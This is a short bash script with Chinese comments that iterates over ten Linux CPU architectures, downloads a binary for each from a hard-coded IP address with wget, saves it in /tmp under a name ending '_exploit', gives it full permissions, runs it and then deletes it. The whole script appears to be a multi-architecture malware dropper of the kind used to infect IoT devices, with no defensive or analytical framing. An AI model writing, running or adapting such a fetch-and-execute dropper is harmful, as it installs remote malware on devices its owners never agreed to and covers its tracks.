#!/bin/bash

# 定义架构列表
architectures=(
    "linux_386"
    "linux_aarch64"
    "linux_amd64"
    "linux_arm5"
    "linux_arm6"
    "linux_arm7"
    "linux_mips"
    "linux_mips64"
    "linux_mips64el"
    "linux_mipsel"
)

# 定义基础 URL
base_url="http://198.98.54.121"

# 遍历每个架构，执行操作
for arch in "${architectures[@]}"; do
    echo "[INFO] 开始处理架构: $arch"

    # 定义目标文件路径
    target_file="/tmp/${arch}_exploit"

    # 下载文件
    echo "[INFO] 正在下载 $arch..."
    wget -q "${base_url}/${arch}" -O "${target_file}"
    if [ $? -ne 0 ]; then
        echo "[ERROR] 下载 $arch 失败，跳过该架构。"
        continue
    fi

    # 赋予执行权限
    echo "[INFO] 设置执行权限..."
    chmod 777 "${target_file}"
    if [ $? -ne 0 ]; then
        echo "[ERROR] 设置权限失败，删除文件并跳过该架构。"
        rm -f "${target_file}"
        continue
    fi

    # 执行文件
    echo "[INFO] 执行文件..."
    "${target_file}"
    if [ $? -ne 0 ]; then
        echo "[ERROR] 执行 $arch 失败。"
        rm -f "${target_file}"
        continue
    fi

    # 删除文件
    echo "[INFO] 清理文件..."
    rm -f "${target_file}"
    echo "[SUCCESS] 完成 $arch 的处理。"
done

echo "[INFO] 所有架构处理完成。"
